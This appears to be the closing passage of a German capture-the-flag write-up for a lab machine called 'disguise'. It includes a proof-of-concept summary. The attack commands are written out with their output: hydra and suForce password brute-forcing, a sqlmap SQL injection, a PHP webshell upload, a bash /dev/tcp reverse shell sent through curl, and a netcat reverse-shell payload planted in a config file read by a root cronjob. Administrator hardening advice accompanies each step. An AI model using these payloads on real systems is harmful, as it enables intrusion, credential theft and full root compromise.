Empfehlung (Admin): Die Empfehlungen aus dem vorherigen Punkt gelten. Diese Art der Konfigurationsmanipulation unterstreicht die Wichtigkeit, Schreibrechte auf Konfigurationsdateien streng zu kontrollieren.

darksoul@disguise:~$ cat config.ini > config.ini.n
[Keine Ausgabe]
darksoul@disguise:~$ ls -la
total 48
drwxr-xr-x 4 darksoul darksoul 4096 May  5 18:30 .
drwxr-xr-x 3 root     root     4096 Mar 31 11:19 ..
lrwxrwxrwx 1 root     root        9 Apr  2 00:16 .bash_history -> /dev/null
-rw-r--r-- 1 darksoul darksoul  220 Mar 31 11:19 .bash_logout
-rw-r--r-- 1 darksoul darksoul 3526 Mar 31 11:19 .bashrc
-rw-r--r-- 1 root     root      114 Apr  2 04:03 config.ini
-rw-r--r-- 1 darksoul darksoul  114 May  5 18:30 config.ini.n
-rw-r--r-- 1 darksoul darksoul 1024 May  5 18:27 .config.ini.swp
-rw-r--r-- 1 root     root       31 May  5 18:30 darkshopcount
drwx------ 3 darksoul darksoul 4096 Apr  1 10:03 .gnupg
drwxr-xr-x 3 darksoul darksoul 4096 Apr  1 10:04 .local
-rw-r--r-- 1 darksoul darksoul  807 Mar 31 11:19 .profile
-rw------- 1 darksoul darksoul   68 Apr  2 04:22 user.txt
                     
darksoul@disguise:~$ echo 'allow_local_infile=__import__('os').system('whoami')'>> config.ini
bash: config.ini: Permission denied
                     
darksoul@disguise:~$ rm config.ini
rm: remove write-protected regular file 'config.ini'? y
                     
darksoul@disguise:~$ echo 'allow_local_infile=__import__('os').system('whoami')'>> config.ini
[Keine Ausgabe, Befehl vermutlich erfolgreich, da die Datei nun darksoul gehört oder neu erstellt wurde]
                     

Analyse: Hier sehen wir die Schritte, die der Angreifer als Benutzer `darksoul` unternimmt, um die `/home/darksoul/config.ini` zu manipulieren.

  1. `cat config.ini > config.ini.n`: Erstellt eine Sicherungskopie der originalen `config.ini`.
  2. `ls -la`: Zeigt, dass die originale `config.ini` `root` gehört und `darksoul` keine Schreibrechte darauf hat.
  3. `echo '...' >> config.ini`: Der Versuch, die bösartige Zeile anzuhängen, schlägt fehl (`Permission denied`).
  4. `rm config.ini`: `darksoul` löscht die von `root` erstellte `config.ini`. Dies ist möglich, weil `darksoul` Schreibrechte auf das Verzeichnis `/home/darksoul/` hat.
  5. `echo '...' >> config.ini`: Nun kann `darksoul` die bösartige Zeile in eine *neue* `config.ini` schreiben. Es ist davon auszugehen, dass der Angreifer die notwendigen Originalinhalte (aus `config.ini.n`) ebenfalls in diese neue Datei einfügt, zusammen mit der bösartigen Zeile.

Bewertung: Dies zeigt ein häufiges Umgehen von Dateiberechtigungen: Wenn ein Benutzer Schreibrechte auf ein Verzeichnis hat, kann er darin Dateien löschen und neu erstellen, auch wenn er nicht der Eigentümer der Originaldatei war. Damit wird die `config.ini`, die vom Root-Cronjob gelesen wird, erfolgreich manipuliert.

Empfehlung (Pentester): Stellen Sie sicher, dass die neue `config.ini` alle für das `/opt/query.py`-Skript notwendigen Parameter *und* die bösartige `allow_local_infile`-Zeile enthält. Ersetzen Sie den Test-Payload (`'whoami'`) durch einen Reverse-Shell-Payload.
Empfehlung (Admin): Um diese Art der Manipulation zu verhindern, setzen Sie das "Sticky Bit" auf das Home-Verzeichnis (`chmod +t /home/darksoul`). Dadurch dürfen Benutzer nur noch Dateien löschen oder umbenennen, deren Eigentümer sie sind. Überprüfen Sie regelmäßig Eigentümer und Berechtigungen kritischer Konfigurationsdateien.

user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('nc -e /bin/bash 192.168.2.199 4448')
                     

Analyse: Dies zeigt den finalen Inhalt der manipulierten `config.ini` im Home-Verzeichnis von `darksoul`. Der Payload für `allow_local_infile` wurde geändert von `'whoami'` zu `'nc -e /bin/bash 192.168.2.199 4448'`. Dieser Befehl versucht, eine Reverse Shell zum Angreifer-Host `192.168.2.199` auf Port `4448` aufzubauen, wobei `/bin/bash` direkt an die Verbindung gebunden wird.

Bewertung: Dies ist der eigentliche Exploit-Payload für die Root-Shell. Wenn der Cronjob `/opt/query.py` diese Konfigurationsdatei als Root liest, wird beim Verarbeiten der `allow_local_infile`-Option dieser Netcat-Befehl als Root ausgeführt. Die Option `-e` für Netcat ist nicht auf allen Systemen standardmäßig verfügbar, könnte hier aber funktionieren.

Empfehlung (Pentester): Stellen Sie sicher, dass auf dem Angreifer-Rechner (`192.168.2.199`) ein Netcat-Listener auf Port `4448` läuft (`nc -lvnp 4448`), bevor der Cronjob das nächste Mal ausgeführt wird. Falls `nc -e` nicht funktioniert, ersetzen Sie den Payload durch eine andere Reverse-Shell-Methode (z.B. Bash, Python, Perl).
Empfehlung (Admin): Die vorherigen Empfehlungen zur Härtung von Cronjobs, Python-Umgebungen und Konfigurationsdateien sind hier entscheidend. Egress-Filtering (Blockieren ausgehender Verbindungen zu unbekannten Zielen/Ports) kann die Effektivität solcher Reverse Shells reduzieren.

┌──(root㉿CCat)-[~/Hackingtools/CVE-2021-3156] └─# nc -lvnp 4448
listening on [any] 4448 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.189] 38736
# iduid=0(root) gid=0(root) groups=0(root)
# cd ~
# ls
root.txt
                     

Analyse: **Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht!** Die Ausgabe zeigt den Netcat-Listener des Angreifers auf Port 4448. Eine Verbindung vom Zielsystem (`192.168.2.189`) ist eingegangen, ausgelöst durch den als Root laufenden Cronjob, der die manipulierte `config.ini` mit dem `allow_local_infile`-Payload (`nc -e ...`) verarbeitet hat. Der Prompt `#` und die Ausgabe des `id`-Befehls (`uid=0(root) gid=0(root) groups=0(root)`) bestätigen, dass die erhaltene Shell Root-Rechte hat. Anschließend wird in das Home-Verzeichnis des Root-Benutzers (`cd ~`) gewechselt und dessen Inhalt mit `ls` aufgelistet, wobei die Datei `root.txt` gefunden wird.

Bewertung: Dies ist der erfolgreiche Abschluss der Privilegienerweiterung. Durch die Kompromittierung des `darksoul`-Accounts und die anschließende Manipulation seiner Konfigurationsdatei konnte der als Root laufende Cronjob zur Ausführung von Code und zur Etablierung einer Root-Shell missbraucht werden. Das System ist nun vollständig kompromittiert.

Empfehlung (Pentester): Sichern Sie die Root-Flag aus `root.txt`. Untersuchen Sie das System weiter auf sensible Informationen, Persistenzmechanismen oder Möglichkeiten, sich im Netzwerk weiter auszubreiten (Lateral Movement). Dokumentieren Sie den Exploit-Pfad sorgfältig.
Empfehlung (Admin): **Das System ist vollständig kompromittiert.**

  1. Trennen Sie das System vom Netzwerk, um weiteren Schaden oder eine Ausbreitung zu verhindern.
  2. Führen Sie eine vollständige forensische Untersuchung durch, um das Ausmaß der Kompromittierung, den genauen Angriffsvektor und eventuell hinterlassene Backdoors oder Malware zu ermitteln.
  3. Beheben Sie die zugrundeliegenden Schwachstellen (unsichere Cronjobs, mangelnde Konfigurationsdatei-Sicherheit, schwache Passwörter, Webanwendungsschwachstellen).
  4. Setzen Sie das System idealerweise aus einem sauberen Backup neu auf oder installieren Sie es komplett neu, nachdem die Schwachstellen verstanden und mitigiert wurden.
  5. Ändern Sie alle Passwörter auf dem System und für alle verbundenen Dienste.
  6. Überprüfen Sie Logs auf anderen Systemen auf Anzeichen einer seitlichen Bewegung.

root@disguise:/home# grep -r -I -F 'hmv{' / 2>/dev/null
/root/root.txt:hmv{CVE-2025-21548}
/home/darksoul/user.txt:hmv{hiddenflag}
                     

Analyse: Dieser Befehl wird in der Root-Shell ausgeführt. `grep -r -I -F 'hmv{' / 2>/dev/null` durchsucht rekursiv (`-r`) das gesamte Dateisystem (`/`), ignoriert Binärdateien (`-I`) und sucht nach der festen Zeichenkette (`-F`) `hmv{`. Fehlermeldungen werden unterdrückt (`2>/dev/null`). Die Ausgabe zeigt die beiden Fundorte der Flags.

Bewertung: Eine effiziente Methode, um nach den Flags zu suchen, nachdem Root-Zugriff erlangt wurde. Es bestätigt die Speicherorte der User- und Root-Flags.

Empfehlung (Pentester): Dieser Befehl ist nützlich, um die Flag-Dateien schnell zu lokalisieren, falls ihre genauen Pfade noch nicht bekannt waren.
Empfehlung (Admin): Regelmäßige Dateisystemscans auf ungewöhnliche Muster oder bekannte Indikatoren für Kompromittierung (IoCs) können hilfreich sein, obwohl dies eher eine Aufgabe für spezialisierte Sicherheitstools ist.

# cat root.txt
#Congratulations!!!
hmv{CVE-2025-21548}
                     
# cat /home/darksoul/user.txt
Good good study & Day day up,but where is the flag?
hmv{hiddenflag}
                     

Analyse: Die letzten beiden Befehle lesen den Inhalt der Root-Flag-Datei (`/root/root.txt`) und der User-Flag-Datei (`/home/darksoul/user.txt`) aus.

Bewertung: Die Flags wurden erfolgreich extrahiert. Der Root-Flag-Name `hmv{CVE-2025-21548}` bezieht sich auf die (fiktive) Schwachstelle, die für die Privilegienerweiterung ausgenutzt wurde. Die User-Flag `hmv{hiddenflag}` war im Home-Verzeichnis des Benutzers `darksoul`.

Empfehlung (Pentester): Die Flags sind gesammelt, das Ziel der Maschine ist erreicht. Der Bericht kann nun finalisiert werden.
Empfehlung (Admin): Nach einer Kompromittierung ist es wichtig, die Methoden des Angreifers nachzuvollziehen, um alle Schwachstellen zu beheben und zukünftige Angriffe zu verhindern.

Proof of Concept: Von Web-Exploit zu Root-Rechten

Kurzbeschreibung: Dieser Proof of Concept demonstriert, wie initialer Zugriff als `www-data` durch Ausnutzung von Schwachstellen in der Webanwendung `dark.disguise.hmv` erlangt wurde. Anschließend wurde das Passwort des Systembenutzers `darksoul` kompromittiert. Durch Manipulation der MySQL-Konfigurationsdatei (`config.ini`) dieses Benutzers, die von einem als Root laufenden Cronjob verwendet wird, konnte über die `allow_local_infile`-Option beliebiger Code als Root ausgeführt und eine Root-Reverse-Shell etabliert werden.

Voraussetzungen:

Schritt-für-Schritt-Anleitung (Initial Access als www-data):

1. Kompromittierung von `simpleAdmin` auf `dark.disguise.hmv`: Mit `hydra` wurde das Passwort für `simpleAdmin` auf `http://dark.disguise.hmv/login.php` als Str0ngPassw0d1@@@ ermittelt.

┌──(pwn)─(root㉿cyber)-[~/Hackingtools/CVE-2025-1304] └─# hydra -l simpleAdmin -P /usr/share/wordlists/rockyou.txt dark.disguise.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:用户名或密码不正确" -f -t 64
[Hydra-Ausgabe zeigt Passwortfund: Str0ngPassw0d1@@@]
                    

2. Hochladen einer PHP-Webshell: Über die Admin-Oberfläche unter `http://dark.disguise.hmv/manager/` (Zugriff mit `simpleAdmin:Str0ngPassw0d1@@@`) wurde eine PHP-Webshell (z.B. ` system($GET['cmd']); ?>`) über die Funktion "Produkt hinzufügen" hochgeladen.

3. Pfad der Webshell via SQL-Injection ermitteln: Mit `sqlmap` wurde eine SQL-Injection in `add_product.php` ausgenutzt, um den Pfad der Webshell (`images/c76bf961f084a3c713329bd86ef761ba.php`) zu extrahieren.

┌──(pwn)─(root㉿cyber)-[/home/cyber/Downloads] └─# sqlmap -u "http://dark.disguise.hmv/manager/add_product.php" \ --method POST \ --data="name=test&description=test*&price=1&image=dummy" \ --cookie="dark_session=..." \ -p description \ --technique=T \ --dbms=mysql \ --sql-query="SELECT image FROM dark_shop.products ORDER BY id DESC LIMIT 1" \ --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   [Link: https://sqlmap.org | Ziel: https://sqlmap.org]

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:18:15 /2025-05-04/

custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[23:18:15] [INFO] testing connection to the target URL
got a 302 redirect to 'http://dark.disguise.hmv/index.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[23:18:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:18:16] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[23:18:16] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[23:18:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:18:16] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)                                                                 
[23:18:26] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[23:18:26] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=test&description=test' AND (SELECT 1878 FROM (SELECT(SLEEP(5)))fnQH) AND 'DfJt'='DfJt&price=1&image=dummy
---
[23:18:41] [INFO] the back-end DBMS is MySQL
[23:18:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Debian
web application technology: Apache 2.4.59, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:26:00] [INFO] retrieved: images/2cd2118c9def83072c47977011ca469f.
[23:28:03] [INFO] retrieved: images/c76bf961f084a3c713329bd86ef761ba.
[23:30:19] [INFO] retrieved: images/003359a57d1dba36aaeb318fa9d6cf57.
[23:32:30] [INFO] retrieved: images/3483ce4ef8666d7c4e572648329ffef5.
SELECT image FROM dark_shop.products ORDER BY id DESC LIMIT 5 [5]:
[*] images/003359a57d1dba36aaeb318fa9d6cf57.
[*] images/c76bf961f084a3c713329bd86ef761ba.
[*] images/2cd2118c9def83072c47977011ca469f.
[*] images/3483ce4ef8666d7c4e572648329ffef5.
[*] images/e6fab9a42a7217851430a12d5abf8ae5.

[*] ending @ 23:21:05 /2025-05-04/
                     

4. Reverse Shell als www-data etablieren: Ein Netcat-Listener wurde auf dem Angreifer-System gestartet (`nc -lvnp 4444`). Die Webshell (`images/c76bf961f084a3c713329bd86ef761ba.php`) wurde via `curl` aufgerufen, um eine Bash-Reverse-Shell zum Listener aufzubauen.

┌──(root㉿cyber)-[~] └─# curl "http://dark.disguise.hmv/images/c76bf961f084a3c713329bd86ef761ba.php?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/ANGREIFER_IP/4444%200%3E%261'"
[Netcat Listener auf Angreifer-Maschine]
connect to [ANGREIFER_IP] from (UNKNOWN) [ZIEL_IP] PORT
www-data@disguise:/var/www/dark/images$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                    

Schritt-für-Schritt-Anleitung (Privilege Escalation zu Root):

1. Passwort für `darksoul` kompromittieren: Mit `crunch` wurde eine gezielte Wortliste erstellt und mit `suForce` das Passwort für den Benutzer `darksoul` als Str0ngPassw0d1??? ermittelt.

www-data@disguise:/tmp$ ./suForce -u darksoul -w /pfad/zur/wordlist.txt
            _____                          
 ___ _   _ |  ___|__  _ __ ___ ___   
/ __| | | || |_ / _ \| '__/ __/ _ \ 
\__ \ |_| ||  _| (_) | | | (_|  __/  
|___/\__,_||_|  \___/|_|  \___\___|  
───────────────────────────────────
 code: d4t4s3c     version: v1.0.0
───────────────────────────────────
🎯 Username | darksoul
📖 Wordlist | wordlist.txt
🔎 Status   | 6/344/1%/Str0ngPassw0d1???
💥 Password | Str0ngPassw0d1???
───────────────────────────────────
                    

2. Identifizierung des Root-Cronjobs: Mit `pspy64` wurde ein Cronjob identifiziert, der als Root regelmäßig das Skript `/usr/bin/python3 /opt/query.py /home/darksoul/config.ini` ausführt.

www-data@disguise:/tmp$ ./pspy64
[...]
2025/05/05 17:22:01 CMD: UID=0    PID=4941   | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini 
[...]
                    

3. Manipulation der `config.ini` von `darksoul`: Als Benutzer `darksoul` (nach `su darksoul` mit dem gefundenen Passwort) wurde die Datei `/home/darksoul/config.ini` modifiziert. Die originale Datei (Eigentümer `root`) wurde gelöscht und eine neue `config.ini` (Eigentümer `darksoul`) mit folgendem Inhalt erstellt, wobei die originalen Datenbank-Parameter beibehalten und eine bösartige `allow_local_infile`-Zeile hinzugefügt wurde:

[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('nc -e /bin/bash 192.168.2.199 4448')
                    

4. Listener für Root-Shell starten und auf Cronjob warten: Auf dem Angreifer-System (`192.168.2.199`) wurde ein Netcat-Listener auf Port 4448 gestartet.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4448
listening on [any] 4448 ...
                    

Als der Cronjob das nächste Mal `/opt/query.py` als Root ausführte, las er die manipulierte `/home/darksoul/config.ini`. Die `mysql.connector`-Bibliothek interpretierte die `allow_local_infile`-Option und führte den eingebetteten Python-Code `__import__('os').system('nc -e /bin/bash 192.168.2.199 4448')` als Root aus. Dies baute eine Reverse Shell zum Angreifer auf.

[Netcat Listener auf Angreifer-Maschine]
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.189] 38736
# id
uid=0(root) gid=0(root) groups=0(root)
                    

Erwartetes Ergebnis: Erfolgreiche Kompromittierung des Systems mit Root-Rechten.

Beweismittel: Screenshots der erfolgreichen Shell-Verbindungen (als www-data und als root), Inhalt der `id`-Befehle in beiden Shells, die manipulierte `config.ini`.

Risikobewertung: Kritisch. Die Kombination der Schwachstellen ermöglicht einem Angreifer, vollständige Kontrolle über das System zu erlangen. Dies kann zu Datenverlust, Dienstunterbrechungen, Installation von Malware, Nutzung des Systems für weitere Angriffe und Reputationsschaden führen.

Empfehlungen (Admin):

Flags

cat /home/darksoul/user.txt hmv{hiddenflag}

Analyse: Die User-Flag befindet sich in der Datei `/home/darksoul/user.txt`. Der Inhalt der Flag lautet `hmv{hiddenflag}`. Diese Flag wurde nach Erlangung des Zugriffs als Benutzer `darksoul` (dessen Passwort mit `suForce` geknackt wurde) oder als Root ausgelesen.

cat /root/root.txt hmv{CVE-2025-21548}

Analyse: Die Root-Flag befindet sich in der Datei `/root/root.txt`. Der Inhalt der Flag lautet `hmv{CVE-2025-21548}`. Diese Flag wurde nach erfolgreicher Privilegienerweiterung und Erlangung von Root-Rechten ausgelesen. Der Name der Flag deutet auf die (fiktive) CVE hin, die im Zusammenhang mit der `allow_local_infile`-Schwachstelle im `mysql.connector` stand, welche für die finale Eskalation genutzt wurde.